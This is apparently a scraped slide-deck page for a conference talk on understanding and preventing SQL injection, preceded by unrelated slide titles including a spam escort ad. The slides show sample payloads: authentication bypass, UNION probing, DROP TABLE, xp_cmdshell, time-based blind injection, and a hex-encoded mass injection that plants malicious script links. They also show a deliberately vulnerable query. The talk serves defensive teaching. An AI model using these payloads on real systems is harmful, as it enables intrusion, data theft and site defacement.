08448380779 Call Girls In Greater Kailash - I Women Seeking Men
 
Evaluating the top large language models.pdf
Evaluating the top large language models.pdfEvaluating the top large language models.pdf
Evaluating the top large language models.pdf
 
A Domino Admins Adventures (Engage 2024)
A Domino Admins Adventures (Engage 2024)A Domino Admins Adventures (Engage 2024)
A Domino Admins Adventures (Engage 2024)
 
What Are The Drone Anti-jamming Systems Technology?
What Are The Drone Anti-jamming Systems Technology?What Are The Drone Anti-jamming Systems Technology?
What Are The Drone Anti-jamming Systems Technology?
 
Scaling API-first – The story of a global engineering organization
Scaling API-first – The story of a global engineering organizationScaling API-first – The story of a global engineering organization
Scaling API-first – The story of a global engineering organization
 
The 7 Things I Know About Cyber Security After 25 Years | April 2024
The 7 Things I Know About Cyber Security After 25 Years | April 2024The 7 Things I Know About Cyber Security After 25 Years | April 2024
The 7 Things I Know About Cyber Security After 25 Years | April 2024
 
IAC 2024 - IA Fast Track to Search Focused AI Solutions
IAC 2024 - IA Fast Track to Search Focused AI SolutionsIAC 2024 - IA Fast Track to Search Focused AI Solutions
IAC 2024 - IA Fast Track to Search Focused AI Solutions
 
How to Troubleshoot Apps for the Modern Connected Worker
How to Troubleshoot Apps for the Modern Connected WorkerHow to Troubleshoot Apps for the Modern Connected Worker
How to Troubleshoot Apps for the Modern Connected Worker
 
Exploring the Future Potential of AI-Enabled Smartphone Processors
Exploring the Future Potential of AI-Enabled Smartphone ProcessorsExploring the Future Potential of AI-Enabled Smartphone Processors
Exploring the Future Potential of AI-Enabled Smartphone Processors
 
Presentation on how to chat with PDF using ChatGPT code interpreter
Presentation on how to chat with PDF using ChatGPT code interpreterPresentation on how to chat with PDF using ChatGPT code interpreter
Presentation on how to chat with PDF using ChatGPT code interpreter
 
Axa Assurance Maroc - Insurer Innovation Award 2024
Axa Assurance Maroc - Insurer Innovation Award 2024Axa Assurance Maroc - Insurer Innovation Award 2024
Axa Assurance Maroc - Insurer Innovation Award 2024
 

Understanding and preventing sql injection attacks

  • 1. SQLintersection Understanding & Preventing SQL Injection Attacks Kevin Kline kkline@sqlsentry.com SQL123
  • 2. Overview  What is SQL Injection?  An Attacker’s Approach  SQL Injection Techniques  Preventing SQL Injection  Security Best Practices & Tips  Useful Links and Resources
  • 3. Freebies!  Free new ebooks (regularly $10) to all requests to sales@sqlsentry.com:
  • 5. Like This… Courtesy of http://xkcd.com/327/
  • 6. © SQLintersection. All rights reserved. http://www.SQLintersection.com What is it and why should I care? Understanding SQL Injection 6
  • 7. What is SQL Injection?  SQL injection occurs when a malicious user controls the criteria of SQL statements and enters values that alter the original intention of the SQL statement  DEMO
  • 8. Who is Vulnerable?  All SQL database platforms are susceptible  Bypasses firewall and network-based protections  Applications that dynamically build and send SQL strings are most vulnerable:  Exploits the inexperienced developer  Amplified by silos in IT teams  SQL statement itself is hacked  Formatting vulnerabilities
  • 9. © SQLintersection. All rights reserved. http://www.SQLintersection.com Typical Webcode… string cmdStr = @"SELECT order_id, order_date, qty FROM Production.Orders WHERE customer_name LIKE '%" + SearchText.Text + "%'"; using (SqlConnection conn = new SqlConnection(connStr)) using (SqlDataAdapter sda = new SqlDataAdapter(cmdStr, conn)) { DataTable dtOrders = new DataTable(); sda.Fill(dtOrders); return dtOrders.DefaultView; }
  • 10. 10 Injected Values Can Range from Bad… The “Good” search text: 'Hanso Foundation' The “Curious” search text: 'Widmore Industries' or 1=1 -- ‘ The “Exploratory” search text: …ZZZ' UNION SELECT COLUMN_NAME, DATA_TYPE, TABLE_SCHEMA FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME = 'Address' --
  • 11. 11 …To Worse The Ugly search text: …ZZZ'; DROP TABLE customer_credit_card -- The REALLY UGLY search text: …ZZZ'; xp_cmdshell(‘FTP …’)
  • 12. Attack Methodology Reconnaissance (Recon) Scan for Vulnerabilities / Access (Scan) Gain Access (Crack) Escalate Privileges (Enhance) Maintain/Expand Access (Expand) Cover Tracks (Hide)
  • 13. Attackers…  …understand the concept of ‘surface area’  …use error messages to learn about the structure of the underlying SQL statements and database  …exploit SQL formatting characters (single quotes, comment notation (-- ), semi-colons, etc)
  • 14. Then Attackers…  …manipulate the SQL statements to learn about the structure of the database and data  …execute SQL statements at will  …use built-in trap doors inside of the DBMS to go to the next level  Upload their own files, even replacing your own  Examine the rest of your infrastructure  Download data  Launch malware and bots
  • 15. SQL Injection Techniques  Probe databases, especially packaged apps  Bypass authorization  Cross-database and cross-server calls  Execute multiple SQL statements  Call built-in stored procedures  Exit to the OS for command-line access  Insert code to be used by the web app  Swap DLL and other files for their own
  • 16. Error Type: Microsoft OLE DB Provider for SQL Server (0x80040E14) Unclosed quotation mark before the character string ′having 1 = 1--′. /Project1/MyDemoApp.exe, line 14 Probing Databases  Web apps usually return connectivity error information – unless you trap the errors!  Hackers can use this information and continually modify parameters to discover:  Table names, column names, data types, row values
  • 17. 17 Bypassing Authorization Good Guy, passes these values - UserID: administrator Password: GoodOne SELECT * FROM users WHERE username = ‘administrator’ AND password = ‘GoodOne’; Bad Guy, passes this value - UserID: ‘ OR 1=1 Password -- SELECT * FROM users WHERE username = ‘’ OR 1=1 – and password =
  • 18. 18 INSERT Statement Injections Good Guy INSERT INTO Authors (auName, EmailAddress) VALUES (‘Julian Isla’, ‘juliani@hotmail.com) Bad Guy INSER INTO Authors (auName, EmailAddress) VALUES (‘SELECT TOP 1 name FROM sys.sys_logins’, badguy@hacker.com’); EXEC xp_regread HKEY… ; Very Bad Guy, uses scripting and text/xml fields
  • 19. Blind SQL Injection  Good apps trap default errors and show their own. Hackers flank this with:  Normal Blind: Get response data from error codes, severity levels, and HTTP status codes  Totally Blind: Gather data through IF…THEN testing, response times, logging, and system functions.
  • 20. © SQLintersection. All rights reserved. http://www.SQLintersection.com Blind Injection Example, #1 DECLARE @x as int; DECLARE @w as char(6); SET @x=ASCII(SUBSTRING(master.dbo.fn_varbintohexstr(CAST({QU ERY} as varbinary(8000))),{POSITION},1)); IF @x>97 SET @x=@x-87 ELSE SET @x=@x-48; SET @w='0:0:'+CAST(@x*{SECONDS} as char); WAITFOR DELAY @w 2
  • 21. © SQLintersection. All rights reserved. http://www.SQLintersection.com Cast Injection Example, #1 URL query string: DECLARE%20@S%20NVARCHAR(4000);SET%20@S=CAST(0x440045004300...7200%20AS%20NVARCHAR(400 0));EXEC(@S);-- Decoded: DECLARE @S NVARCHAR(4000); SET @S= CAST(0x440045004300...7200 AS NVARCHAR(4000)); EXEC(@S);-- SELECT CAST('this could be bad code' AS VARBINARY(256)) SELECT CAST(0x7468697320636F756C6420626520736F6D652062616420636F6465 AS VARCHAR(256))
  • 22. © SQLintersection. All rights reserved. http://www.SQLintersection.com Cast Injection Example, #2 Final SQL code being executed (hex value decoded): DECLARE @T varchar(255),@C varchar(255) DECLARE Table_Cursor CURSOR FOR SELECT a.name,b.name FROM sysobjects a,syscolumns b WHERE a.id=b.id AND a.xtype='u' AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN EXEC('update ['+@T+'] set ['+@C+']=rtrim(convert(varchar,['+@C+']))+''<script src=http://www.211796*.net/f****p.js></script>''') FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor
  • 23. Attack Vector To Other Resources  Attackers have chosen not to go after data  Targets have been legitimate web sites  Plant links and redirects to malware sites  Use of a blended attack (browser vulnerability) to infect the client computer  Take control of client computers
  • 24. © SQLintersection. All rights reserved. http://www.SQLintersection.com Hey, do you think we should lock the doors, mom? Preventing SQL Injection 24
  • 25. © SQLintersection. All rights reserved. http://www.SQLintersection.com Simple Rules Applied Logically Server - Make sure data and log files are on NTFS with proper ACLs applied. - Disable any service that is unneeded and unused (e.g. SQL Browser service, unneeded network protocols); Consider Windows Core - Use Windows Authentication where feasible.. Database - Enable ‘Non-sysadmin job step proxy account’ on SQL Server Agent. - Restrict system stored proc’s and XP’s to SA-only - Remove guest from all but master and tempdb - Provision by role, not user - Demand security savvy third-party applications! Accounts - Noone gets SA, except SA. - Separate accounts for SQL Server and SQL Agent services. - Don’t use local service account for services. SQL Code - Input validation: Black list vs white list - Use stored procedure to hide application logic. No default error messages. No direct access to tables - Use parameterized input, not string concatenation - Multi layered input checking: application, stored procedure, database schema
  • 26. Monitoring for SQL Injection  Monitor failed login attempts. Alert when they’re frequent.  Check for null and weak passwords frequently within your apps. SQLPing tool is great for this.  Check for non-SA permissions on all system SPs and XPs  Microsoft Assessment and Planning (MAP) is a great tool to research your total estate, available at http://www.Microsoft.com/MAP.  Xevent or Trace for non-SA execution of: • Execute at command prompt ( xp_cmdshell ) • Registry read and write operations (xp_regaddmultistring, xp_regdeletekey, xp_regdeletevalue, xp_regenumkeys, xp_regenumvalues, xp_regread, xp_regremovemultistring, xp_regwrite) • Checking Services ( xp_servicecontrol ) • Visual media in the system ( xp_availablemedia ) • Directory Tree to get URL ( xp_dirtree ) • ODBC resourcer Listing ( xp_enumdsn ) • Log in to find a modem ( xp_loginconfig ) • Cabin Archive Creation ( xp_makecab ) • Finding Domain ( xp_ntsec_enumdomains ) • To terminate the process PID ( xp_terminate_process ) • Add new stored extended procedures ( sp_addextendedproc ) Stored Procedure Delete (sp_dropextendedproc) • UNC files including writing out (sp_makewebtask)
  • 27. Summary  Do NOT Trust User Input.  Remember the principle of “Least Privilege”.  Defense in Depth: Middle tier  App  Database  SQL Code  Fail Intelligently: Filter default error messages and limit the information in custom error messages.  Minimize the “attack surface”: Remove unused stored procedures, views, and UDFs. Use views and stored procedures instead of base tables.  Use Parameterized Queries or Stored Procedures: Do NOT use string concatenations to build SQL queries.  Test Security!
  • 28. Resources  http://www.sqlsecurity.com – my favorite for broad security and tools on SQL Server  Microsoft SQL Injection white paper at http://msdn.microsoft.com/en- us/library/ms161953.aspx  How-to: Prevent SQL Injection on ASP.Net http://msdn.microsoft.com/en-us/library/ms998271.aspx  A Dutch research paper (in English) discussing platform independent ways to defend against SQL injections: http://swerl.tudelft.nl/twiki/pub/Main/TechnicalReports/TUD-SERG- 2007-003.pdf  SQL Injection Cheat Sheet: http://ferruh.mavituna.com/sql-injection- cheatsheet-oku/
  • 29. Don’t forget to complete an online evaluation on EventBoard! Your evaluation helps organizers build better conferences and helps speakers improve their sessions. Questions? Thank you! Understanding & Preventing SQL Injection Attacks Kevin Kline, @KEKline, kkline@sqlsentry.com